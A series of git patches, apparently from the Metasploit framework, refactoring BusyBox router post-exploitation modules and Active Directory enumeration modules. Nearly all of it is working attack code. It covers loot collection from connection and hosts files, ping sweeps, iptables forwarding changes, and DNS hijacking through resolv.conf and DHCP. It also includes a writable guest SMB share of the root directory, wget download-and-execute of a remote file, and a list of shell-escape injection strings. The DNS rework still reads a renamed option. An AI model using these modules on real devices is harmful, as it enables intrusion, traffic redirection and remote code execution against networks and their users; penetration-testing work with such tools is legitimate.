@@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Linux::Busybox + FILES = [ + '/proc/net/nf_conntrack', + '/proc/net/ip_conntrack', + '/proc/net/tcp', + '/proc/net/udp', + '/proc/net/arp', + '/proc/fcache/*' + ] + def initialize super( 'Name' => 'BusyBox Enumerate Connections', - 'Description' => 'This module will be applied on a session connected - to a BusyBox sh shell. The script will enumerate - the connections established by the hosts connected - to the router or device executing BusyBox.', + 'Description' => %q{ + This module will be applied on a session connected to a BusyBox sh shell. It will + enumerate the connections established with the router or device executing BusyBox. + }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://vallejo.cc'] - ], - 'Platform' => ['linux'], - 'SessionTypes' => ['shell'] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] ) end def run found = false - conns_files =[ - "/proc/net/nf_conntrack", "/proc/net/ip_conntrack", "/proc/net/tcp", "/proc/net/udp", "/proc/net/arp", "/proc/fcache/*" - ] - vprint_status("Searching for files that store information about network connections.") - conns_files.each do |conns_file| - if file_exists(conns_file) + print_status('Searching for files that store information about network connections') + FILES.each do |f| + if file_exists(f) found = true - print_good("Connections File found: #{conns_file}.") - begin - str_file=read_file(conns_file) - vprint_line(str_file) - #Store file - p = store_loot("Connections", "text/plain", session, str_file, conns_file, "BusyBox Device Network Established Connections") - print_good("Connections saved to #{p}.") - rescue EOFError - # If there's nothing in the file, we hit EOFError - print_error("Nothing read from file #{conns_file}, file may be empty.") - end + print_good("Connections File found: #{f}.") + read_connection_file(f) end end - if found == false - print_error("Nothing read from connection files, files may be empty.") + + print_error('Any file with connections found') unless found + end + + def read_connection_file(file) + begin + str_file=read_file(file) + vprint_line(str_file) + #Store file + p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections') + print_good("Connections saved to #{p}.") + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file #{file}, file may be empty.") end end From 42b342d615a49d3af956c382dea39ad0f4c31930 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 09:37:18 -0500 Subject: [PATCH 0392/2172] Clean enum_hosts --- .../post/linux/busybox/enum_connections.rb | 4 +-- modules/post/linux/busybox/enum_hosts.rb | 36 ++++++++++--------- 2 files changed, 20 insertions(+), 20 deletions(-) diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb index 77f8a89523..5107a1170d 100644 --- a/modules/post/linux/busybox/enum_connections.rb +++ b/modules/post/linux/busybox/enum_connections.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post super( 'Name' => 'BusyBox Enumerate Connections', 'Description' => %q{ - This module will be applied on a session connected to a BusyBox sh shell. It will + This module will be applied on a session connected to a BusyBox shell. It will enumerate the connections established with the router or device executing BusyBox. }, 'Author' => 'Javier Vicente Vallejo', @@ -51,11 +51,9 @@ class Metasploit3 < Msf::Post begin str_file=read_file(file) vprint_line(str_file) - #Store file p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections') print_good("Connections saved to #{p}.") rescue EOFError - # If there's nothing in the file, we hit EOFError print_error("Nothing read from file #{file}, file may be empty.") end end diff --git a/modules/post/linux/busybox/enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb index 92d1339c04..81bf559827 100644 --- a/modules/post/linux/busybox/enum_hosts.rb +++ b/modules/post/linux/busybox/enum_hosts.rb @@ -13,10 +13,10 @@ class Metasploit3 < Msf::Post def initialize super( 'Name' => 'BusyBox Enumerate Hosts', - 'Description' => 'This module will be applied on a session connected - to a BusyBox sh shell. The script will enumerate - the hosts connected to the router or device executing - BusyBox.', + 'Description' => %q{ + This module will be applied on a session connected to a BusyBox shell. It will enumerate + host names related to the device executing BusyBox. + }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, 'References' => @@ -29,26 +29,28 @@ class Metasploit3 < Msf::Post end def run - hosts_file = nil - if file_exists("/var/hosts") - hosts_file = "/var/hosts" - elsif file_exists("/var/udhcpd/udhcpd.leases") - hosts_file = "/var/udhcpd/udhcpd.leases" + print_status('Searching hosts files...') + if file_exists('/var/hosts') + hosts_file = '/var/hosts' + elsif file_exists('/var/udhcpd/udhcpd.leases') + hosts_file = '/var/udhcpd/udhcpd.leases' else - vprint_error("Files not found: /var/hosts, /var/udhcpd/udhcpd.leases.") + print_error('Files not found') return end - #File exists + + read_hosts_file(hosts_file) + end + + def read_hosts_file(file) begin - str_file=read_file(hosts_file) - print_good("Hosts File found: #{hosts_file}.") + str_file=read_file(file) + print_good("Hosts File found: #{file}.") vprint_line(str_file) - #Store file - p = store_loot("Hosts", "text/plain", session, str_file, hosts_file, "BusyBox Device Connected Hosts") + p = store_loot('busybox.enum.hosts', 'text/plain', session, str_file, file, 'BusyBox Device host names') print_good("Hosts saved to #{p}.") rescue EOFError - # If there's nothing in the file, we hit EOFError - print_error("Nothing read from file: #{hosts_file}, file may be empty.") + print_error("Nothing read from file: #{file}, file may be empty.") end end From 8bf815c4bb5545717b43ee02fe241c745893ff8e Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 28 Aug 2015 15:39:02 +0100 Subject: [PATCH 0393/2172] rubocop --- modules/post/windows/gather/enum_ad_users.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb index 6ec810c66a..2fc5ed7779 100644 --- a/modules/post/windows/gather/enum_ad_users.rb +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -27,8 +27,8 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Gather Active Directory Users', 'Description' => %{ This module will enumerate user accounts in the default Active Domain (AD) directory and stores - them in the database. If GROUP_MEMBER is set to the DN of a group, this will list the members of - that group by performing a recursive/nested search (i.e. it will list users who are members of + them in the database. If GROUP_MEMBER is set to the DN of a group, this will list the members of + that group by performing a recursive/nested search (i.e. it will list users who are members of groups that are members of groups that are members of groups (etc) which eventually include the target group DN. }, @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Post @user_fields = USER_FIELDS.dup if datastore['ADDITIONAL_FIELDS'] - additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/,"").split(',') + additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/, "").split(',') @user_fields.push(*additional_fields) end @@ -137,7 +137,6 @@ class Metasploit3 < Msf::Post results_table end - # Builds the LDAP query 'filter' used to find our User Accounts based on # criteria set by user in the Datastore. # From 0e810aa8bc15666c87e99cbf278f5f8a3a695224 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 09:53:31 -0500 Subject: [PATCH 0394/2172] Clean ping_net --- modules/post/linux/busybox/enum_hosts.rb | 6 +--- modules/post/linux/busybox/ping_net.rb | 37 +++++++++--------------- 2 files changed, 14 insertions(+), 29 deletions(-) diff --git a/modules/post/linux/busybox/enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb index 81bf559827..8c8ea61cdb 100644 --- a/modules/post/linux/busybox/enum_hosts.rb +++ b/modules/post/linux/busybox/enum_hosts.rb @@ -12,17 +12,13 @@ class Metasploit3 < Msf::Post def initialize super( - 'Name' => 'BusyBox Enumerate Hosts', + 'Name' => 'BusyBox Enumerate Host Names', 'Description' => %q{ This module will be applied on a session connected to a BusyBox shell. It will enumerate host names related to the device executing BusyBox. }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://vallejo.cc'] - ], 'Platform' => ['linux'], 'SessionTypes' => ['shell'] ) diff --git a/modules/post/linux/busybox/ping_net.rb b/modules/post/linux/busybox/ping_net.rb index ee46182647..4e1191304b 100644 --- a/modules/post/linux/busybox/ping_net.rb +++ b/modules/post/linux/busybox/ping_net.rb @@ -11,43 +11,32 @@ class Metasploit3 < Msf::Post def initialize super( - 'Name' => 'BusyBox Ping Network', - 'Description' => 'This module will be applied on a session connected - to a BusyBox sh shell. The script will ping a range of - ip adresses from the router or device executing BusyBox.', + 'Name' => 'BusyBox Ping Network Enumeration', + 'Description' => %q{ + This module will be applied on a session connected to a BusyBox shell. It will ping a range + of IP addresses from the router or device executing BusyBox. + }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://vallejo.cc'] - ], 'Platform' => ['linux'], - 'SessionTypes' => ['shell'] + 'SessionTypes' => ['shell'] ) register_options( [ - OptAddress.new('IPRANGESTART', [ true, "The first ip address of the range to ping.", nil ]), - OptAddress.new('IPRANGEEND', [ true, "The last ip address of the range to ping.", nil ]) + OptAddressRange.new('RANGE', [true, 'IP range to ping']) ], self.class) end - # - #This module executes the ping command from the BusyBox connected shell for a given range of ip addresses. The - #results will be stored in loots - # def run - - full_results = "" - - (IPAddr.new(datastore['IPRANGESTART'])..IPAddr.new(datastore['IPRANGEEND'])).map(&:to_s).each do |current_ip_address| - print_status("Doing ping to the address #{current_ip_address}.") - full_results << cmd_exec("ping -c 1 #{current_ip_address}") + results = '' + Rex::Socket::RangeWalker.new(datastore['RANGE']).each do |ip| + vprint_status("Checking address #{ip}") + results << cmd_exec("ping -c 1 #{ip}") end - #storing results - p = store_loot("Pingnet", "text/plain", session, full_results, "#{datastore['IPRANGESTART']}"+"-"+"#{datastore['IPRANGEEND']}", "BusyBox Device Network Range Pings") - print_good("Pingnet results saved to #{p}.") + p = store_loot('busybox.enum.network', 'text/plain', session, results, 'ping_results.txt', 'BusyBox Device Network Range Enumeration') + print_good("Results saved to #{p}.") end end From b59bc30160371f1726064a1c90fb409a0612a3b5 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 28 Aug 2015 16:13:22 +0100 Subject: [PATCH 0395/2172] Fixed stupid bracket error --- modules/post/windows/gather/enum_ad_groups.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_groups.rb b/modules/post/windows/gather/enum_ad_groups.rb index 1cc99414c4..ade732c27a 100644 --- a/modules/post/windows/gather/enum_ad_groups.rb +++ b/modules/post/windows/gather/enum_ad_groups.rb @@ -9,7 +9,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP - include Msf::Post::Windows::Accounts +# include Msf::Post::Windows::Accounts USER_FIELDS = ['name', 'distinguishedname', @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Post max_search = datastore['MAX_SEARCH'] begin - q = query('(objectClass=group)'), max_search, @user_fields) + q = query('(objectClass=group)', max_search, @user_fields) rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e # Can't bind or in a network w/ limited accounts print_error(e.message) From 4523608bf7ca79933b5a0ad4ed4f881f552e2226 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 10:43:09 -0500 Subject: [PATCH 0396/2172] Review set_dmz --- modules/post/linux/busybox/set_dmz.rb | 35 ++++++++++++--------------- 1 file changed, 15 insertions(+), 20 deletions(-) diff --git a/modules/post/linux/busybox/set_dmz.rb b/modules/post/linux/busybox/set_dmz.rb index befe149940..a2d109cd6b 100644 --- a/modules/post/linux/busybox/set_dmz.rb +++ b/modules/post/linux/busybox/set_dmz.rb @@ -9,38 +9,33 @@ class Metasploit3 < Msf::Post def initialize super( - 'Name' => 'BusyBox Set Dmz', - 'Description' => 'This module will be applied on a session connected - to a BusyBox sh shell. The script will enable or disable dmz - to a network host in the router or device executing BusyBox.', + 'Name' => 'BusyBox DMZ Configuration', + 'Description' => %q{ + This module will be applied on a session connected to a BusyBox shell. It allows to manage + traffic forwarding to a target host through the BusyBox device. + }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://vallejo.cc'] - ], 'Platform' => ['linux'], - 'SessionTypes' => ['shell'] + 'SessionTypes' => ['shell'] ) register_options([ - OptAddress.new('TARGETHOST', [ true, "The address of the host to be target for the dmz", nil ]), - OptBool.new('DELETE', [false, "If this option is set to true, the DMZ is removed. Else it is added.", false]) + OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']), + OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false]) ], self.class) end def run - if datastore['DELETE'] == true - vprint_status("Executing iptables to delete dmz.") - vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT")) + if datastore['DELETE'] + print_status("Deleting #{datastore['TARGET_HOST']} from DMZ") + vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT")) else - vprint_status("Executing iptables to add dmz.") - vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT")) + print_status("Adding #{datastore['TARGET_HOST']} to DMZ") + vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT")) end - if datastore['VERBOSE'] - vprint_status(cmd_exec("iptables --list")) - end - print_good("Dmz modified. Enable verbose for additional information.") + + vprint_status(cmd_exec('iptables --list')) end end From c2639fc1389905b813caa545c80820f13dda5d77 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:00:46 -0500 Subject: [PATCH 0397/2172] Review set_dns --- modules/post/linux/busybox/set_dns.rb | 102 +++++++++++++------------- 1 file changed, 49 insertions(+), 53 deletions(-) diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb index 2c179121ee..1d781a5610 100644 --- a/modules/post/linux/busybox/set_dns.rb +++ b/modules/post/linux/busybox/set_dns.rb @@ -12,74 +12,70 @@ class Metasploit3 < Msf::Post def initialize super( - 'Name' => 'BusyBox Set Dns', - 'Description' => 'This module will be applied on a session connected - to a BusyBox sh shell. The script will set dns addresses - to the router or device executing BusyBox to be sent - by dhcp server to network hosts.', + 'Name' => 'BusyBox DNS Configuration', + 'Description' => %q{ + This module will be applied on a session connected to a BusyBox shell. It allows + to set the DNS server on the device executing BusyBox so it will be sent by the + DHCP server to network hosts. + }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://vallejo.cc'] - ], 'Platform' => ['linux'], - 'SessionTypes' => ['shell'] + 'SessionTypes' => ['shell'] ) register_options( [ - OptAddress.new('SRVHOST', [ true, "The dns server address.", nil ]) + OptAddress.new('DNS', [ true, 'The dns server address' ]) ], self.class) end - # - #The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update - #udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp - # def run - workdone = false - vprint_status("Searching for files to modify dns server.") + print_status("Searching for files to modify dns server.") if file_exists("/etc/resolv.conf") - vprint_status("Resolv.conf found.") - if is_writable_and_write("/etc/resolv.conf", "nameserver #{datastore['SRVHOST']}", false) - print_good("Dns server added to resolv.conf.") - workdone = true - end + modify_resolv_conf end + if file_exists("/etc/udhcpd.conf") - vprint_status("Udhcpd.conf found.") - original_content = read_file("/etc/udhcpd.conf") - vprint_status("Original udhcpd.conf content:") - vprint_status(original_content) - if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", true) - vprint_status("Udhcpd.conf is writable. Relaunching udhcp server:") - cmd_exec("killall dhcpd") - #in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command - #that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd - #process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>" - session.shell_write("dhcpd /etc/udhcpd.conf &\n") - print_good("Udhcpd.conf modified and dns server added. Dhcpd restarted.") - else - vprint_status("Unable to write udhcpd.conf. Trying to copy the file to a writable directory.") - writable_directory = get_writable_directory() - if writable_directory - vprint_status("writable directory found, creating a copy of the original udhcpd.conf.") - cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf"); Rex::sleep(0.3) - is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true) - vprint_status("Relaunching udhcp server:") - cmd_exec("killall dhcpd") - session.shell_write("dhcpd #{writable_directory}tmp.conf &\n") - print_good("Udhcpd.conf copied to writable directory and dns server added. Dhcpd restarted.") - workdone = true - else - vprint_error("Writable directory not found.") - end - end - end - if !workdone - print_error("Unable to modify dns server.") + modify_udhcpd_conf end end + def modify_resolv_conf + print_status('File /etc/resolv.conf found') + if is_writable_and_write('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false) + print_good('DNS server added to resolv.conf') + end + end + + def modify_udhcpd_conf + print_status('File /etc/udhcpd.conf found') + + if is_writable_and_write('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true) + restart_dhcpd('/etc/udhcpd.conf') + else + print_status('Unable to write udhcpd.conf, searching a writable directory...') + writable_directory = get_writable_directory + if writable_directory + print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf") + cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf") + Rex::sleep(0.3) + print_status("Adding DNS to #{writable_directory}tmp.conf") + is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true) + restart_dhcpd("#{writable_directory}tmp.conf") + else + print_error('Writable directory not found') + end + end + end + + def restart_dhcpd(conf) + print_status('Restarting udhcp server') + cmd_exec('killall dhcpd') + # in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command + # that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd + # process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>" + session.shell_write("dhcpd #{conf} &\n") + print_good('udhcpd.conf modified and DNS server added. DHCPD restarted') + end end From edc9982c8b2bf82277589e35a61e0189b55da157 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:18:49 -0500 Subject: [PATCH 0398/2172] Review smb_share_root --- modules/post/linux/busybox/smb_share_root.rb | 57 +++++++++++--------- 1 file changed, 31 insertions(+), 26 deletions(-) diff --git a/modules/post/linux/busybox/smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb index 3c74443e7a..e3914a257d 100644 --- a/modules/post/linux/busybox/smb_share_root.rb +++ b/modules/post/linux/busybox/smb_share_root.rb @@ -12,43 +12,48 @@ class Metasploit3 < Msf::Post def initialize super( - 'Name' => 'BusyBox Smb Share Root', - 'Description' => 'This module will be applied on a session connected - to a BusyBox sh shell. The script will modify the - smb configuration of the the router or device executing - BusyBox to share the root directory of the device.', + 'Name' => 'BusyBox SMB Sharing', + 'Description' => %q{ + This module will be applied on a session connected to a BusyBox shell. It will modify + the SMB configuration of the device executing BusyBox to share the root directory of + the device. + }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://vallejo.cc'] - ], - 'Platform' => ['linux'], - 'SessionTypes' => ['shell'] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] ) end def run - vprint_status("Trying to find smb.conf.") - if read_file("/var/samba/smb.conf").length > 0 #file? doesnt work because test -f is not implemented in busybox - vprint_status("Smb.conf found.") - vprint_status("Trying to find writable directory.") - writable_directory = get_writable_directory() + print_status('Checking smb.conf...') + if read_file('/var/samba/smb.conf').length > 0 #file? doesnt work because test -f is not implemented in busybox + print_status('smb.conf found, searching writable directory...') + writable_directory = get_writable_directory if writable_directory - vprint_status("writable directory found, copying smb.conf.") - vprint_status(cmd_exec("rm -f #{writable_directory}smb.conf")); Rex::sleep(0.1) - vprint_status(cmd_exec("cp -f /var/samba/smb.conf #{writable_directory}smb.conf")); Rex::sleep(0.1) - vprint_status(cmd_exec("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{writable_directory}smb.conf")); Rex::sleep(0.1) - vprint_status(cmd_exec("killall smbd")); Rex::sleep(0.1) - vprint_status(cmd_exec("smbd -D -s #{writable_directory}smb.conf")); Rex::sleep(0.1) - vprint_status(cmd_exec("smbd -D -s=#{writable_directory}smb.conf")); Rex::sleep(0.1) - print_good("Smb configuration has been modified.") + print_status('writable directory found, copying smb.conf and restarting smbd') + copy_smb_conf(writable_directory) else - print_error("Writable directory not found.") + print_error('Writable directory not found') end else - print_error("Smb.conf not found.") + print_error('smb.conf not found') end end + def copy_smb_conf(dir) + cmd_exec_delay("rm -f #{dir}smb.conf") + cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf") + cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf") + cmd_exec_delay('killall smbd') + cmd_exec_delay("smbd -D -s #{dir}smb.conf") + cmd_exec_delay("smbd -D -s=#{dir}smb.conf") + end + + def cmd_exec_delay(command) + res = cmd_exec(command) + vprint_status(res) + Rex.sleep(0.1) + end + end From e7f486e43a11d023deb1334f954a0807bffe3220 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:24:41 -0500 Subject: [PATCH 0399/2172] Review wget_exec --- modules/post/linux/busybox/wget_exec.rb | 48 +++++++++++-------------- 1 file changed, 21 insertions(+), 27 deletions(-) diff --git a/modules/post/linux/busybox/wget_exec.rb b/modules/post/linux/busybox/wget_exec.rb index c4ededd0c0..4302cd3567 100644 --- a/modules/post/linux/busybox/wget_exec.rb +++ b/modules/post/linux/busybox/wget_exec.rb @@ -12,49 +12,43 @@ class Metasploit3 < Msf::Post def initialize super( - 'Name' => 'BusyBox Wget and Exec', - 'Description' => 'This module will be applied on a session connected - to a BusyBox sh shell. The script will use wget to download - a file to the router or device executing BusyBox and then - it executes the download file.', + 'Name' => 'BusyBox Download and Execute', + 'Description' => %q{ + This module will be applied on a session connected to a BusyBox shell. It will use wget to + download and execute a file from the device running BusyBox. + }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://vallejo.cc'] - ], 'Platform' => ['linux'], - 'SessionTypes' => ['shell'] + 'SessionTypes' => ['shell'] ) register_options( [ - OptString.new('URL', [true, 'Full URL of file to download.']) + OptString.new('URL', [true, 'Full URL of file to download']) ], self.class) end - # - #The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update - #udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp - # def run - vprint_status("Trying to find writable directory.") - writable_directory = get_writable_directory() + print_status('Searching a writable direcotry...') + writable_directory = get_writable_directory if writable_directory - vprint_status("writable directory found, downloading file.") - rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} - random_file_path = writable_directory + rand_str - cmd_exec("wget -O #{random_file_path} #{datastore['URL']}"); Rex::sleep(0.1) + print_status('Writable directory found, downloading file...') + random_file_path = "#{writable_directory}#{Rex::Text.rand_text_alpha(16)}" + cmd_exec("wget -O #{random_file_path} #{datastore['URL']}") + Rex::sleep(0.1) + if file_exists(random_file_path) - print_good("File downloaded using wget. Executing it.") - cmd_exec("chmod 777 #{random_file_path}"); Rex::sleep(0.1) - vprint_status(cmd_exec("sh #{random_file_path}")) + print_good('File downloaded, executing...') + cmd_exec("chmod 777 #{random_file_path}") + Rex::sleep(0.1) + res = cmd_exec("sh #{random_file_path}") + vprint_status(res) else - print_error("Unable to download file.") + print_error('Unable to download file') end else - print_error("Writable directory not found.") + print_error('Writable directory not found') end end - end From 132f5c6a20ed13c7880c8210f48a9e911a3d3177 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:44:57 -0500 Subject: [PATCH 0400/2172] Review jailbreak --- modules/post/linux/busybox/jailbreak.rb | 74 +++++++++++++------------ 1 file changed, 39 insertions(+), 35 deletions(-) diff --git a/modules/post/linux/busybox/jailbreak.rb b/modules/post/linux/busybox/jailbreak.rb index c3111b7196..e1a6da1439 100644 --- a/modules/post/linux/busybox/jailbreak.rb +++ b/modules/post/linux/busybox/jailbreak.rb @@ -7,58 +7,62 @@ require 'msf/core' class Metasploit3 < Msf::Post + METHODS = [ + 'cat xx || sh', + 'ping || sh', + 'echo `sh >> /dev/ttyp0`', + 'ping `sh >> /dev/ttyp0`', + 'cat `sh >> /dev/ttyp0`', + 'cat xx;sh', + 'echo xx;sh', + 'ping;sh', + 'cat xx | sh', + 'ping | sh', + 'cat ($sh)', + 'cat xx && sh', + 'echo xx && sh', + 'ping && sh' + ] + def initialize super( 'Name' => 'BusyBox Jailbreak ', - 'Description' => 'This module will send a set of commands to a open - session that is connected to a BusyBox limited shell - (i.e. a router limited shell). It will try different - known tricks to try to jailbreak the limited shell and - get a full sh busybox shell.', + 'Description' => %q{ + This module will send a set of commands to a open session that is connected to a + BusyBox limited shell (i.e. a router limited shell). It will try different known + tricks to jailbreak the limited shell and get a full BusyBox shell. + }, 'Author' => 'Javier Vicente Vallejo', 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://vallejo.cc'] - ], 'Platform' => ['linux'], 'SessionTypes' => ['shell'] ) end def run - bfound = false - bfound = try_command("cat xx || sh\n","1_1") unless bfound - bfound = try_command("ping || sh\n","1_2") unless bfound - bfound = try_command("echo `sh >> /dev/ttyp0`\n","2_1") unless bfound - bfound = try_command("ping `sh >> /dev/ttyp0`\n","2_2") unless bfound - bfound = try_command("cat `sh >> /dev/ttyp0`\n","2_3") unless bfound - bfound = try_command("cat xx;sh\n","3_1") unless bfound - bfound = try_command("echo xx;sh\n","3_2") unless bfound - bfound = try_command("ping;sh\n","3_3") unless bfound - bfound = try_command("cat xx | sh\n","4_1") unless bfound - bfound = try_command("ping | sh\n","4_2") unless bfound - bfound = try_command("cat ($sh)\n","5_1") unless bfound - bfound = try_command("echo ($sh) xx\n","5_2") unless bfound - bfound = try_command("ping ($sh)\n","5_3") unless bfound - bfound = try_command("cat xx && sh\n","6_1") unless bfound - bfound = try_command("echo xx && sh\n","6_2") unless bfound - bfound = try_command("ping && sh\n","3_3") unless bfound - print_error("Unable to jailbreak device shell.") if !bfound + res = false + + METHODS.each do |m| + res = try_method(m) + break if res + end + + print_error('Unable to jailbreak device shell') unless res end - def try_command(param_command, method_number) - vprint_status("jailbreak sent: #{param_command}.") - session.shell_write(param_command) + def try_method(command) + vprint_status("jailbreak sent: #{command}") + session.shell_write("#{command}\n") (1..10).each do - resp = session.shell_read() - vprint_status("jailbreak received: #{resp}.") - if ((resp.include? "BusyBox") && (resp.include? "Built-in shell")) - vprint_status("Done method " + method_number + ".") + resp = session.shell_read + vprint_status("jailbreak received: #{resp}") unless resp.nil? || resp.empty? + if resp.include?('BusyBox') && resp.include?('Built-in shell') + print_good("Jailbreak accomplished with #{command}") return true end end - return false + + false end end From 0a95a1543f24eebb1289094a619281ab7d86a64f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 11:47:50 -0500 Subject: [PATCH 0401/2172] Add spaces --- lib/msf/core/post/linux/busybox.rb | 44 ++++++++++++------------------ 1 file changed, 18 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/post/linux/busybox.rb b/lib/msf/core/post/linux/busybox.rb index 6f717efe19..efc00badff 100644 --- a/lib/msf/core/post/linux/busybox.rb +++ b/lib/msf/core/post/linux/busybox.rb @@ -5,16 +5,14 @@ require 'msf/core' module Msf class Post module Linux -module Busybox +module BusyBox include ::Msf::Post::File - # - #Checks if the target file exists - #@param file_path [String] the target file path - #@note file? doesnt work because test -f is not implemented in busybox - #@return [Boolean] True if files exists, otherwise false - # + # Checks if the target file exists + # @param file_path [String] the target file path + # @note file? doesnt work because test -f is not implemented in busybox + # @return [Boolean] True if files exists, otherwise false def file_exists(file_path) s = read_file(file_path) if s and s.length @@ -23,11 +21,9 @@ module Busybox return false end - # - #Checks if the target directory is writable - #@param directory_path [String] the target directory path - #@return [Boolean] True if target directory is writable, otherwise false - # + # Checks if the target directory is writable + # @param directory_path [String] the target directory path + # @return [Boolean] True if target directory is writable, otherwise false def is_writable_directory(directory_path) retval = false rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} @@ -41,17 +37,15 @@ module Busybox return retval end - # - #Checks if the target file is writable and writes or append to the file the data given as parameter - #@param file_path [String] the target file path - #@param data [String] the content to be written to the file - #@param append [Boolean] if true, append data to the target file. Otherwise, overwrite the target file - #@note BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for this reason it is necessary to implement an specific function - #@return [Boolean] True if target file is writable and it was written. Otherwise, false. - # + # Checks if the target file is writable and writes or append to the file the data given as parameter + # @param file_path [String] the target file path + # @param data [String] the content to be written to the file + # @param append [Boolean] if true, append data to the target file. Otherwise, overwrite the target file + # @note BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for this reason it is necessary to implement an specific function + # @return [Boolean] True if target file is writable and it was written. Otherwise, false. def is_writable_and_write(file_path, data, append) if append - writable_directory = get_writable_directory() + writable_directory = get_writable_directory return false if not writable_directory cmd_exec("cp -f #{file_path} #{writable_directory}tmp"); Rex::sleep(0.3) end @@ -73,11 +67,9 @@ module Busybox end end - # - #Checks some directories that usually are writable in devices running busybox - #@return [String] If the function finds a writable directory, it returns the path. Else it returns nil - # - def get_writable_directory() + # Checks some directories that usually are writable in devices running busybox + # @return [String] If the 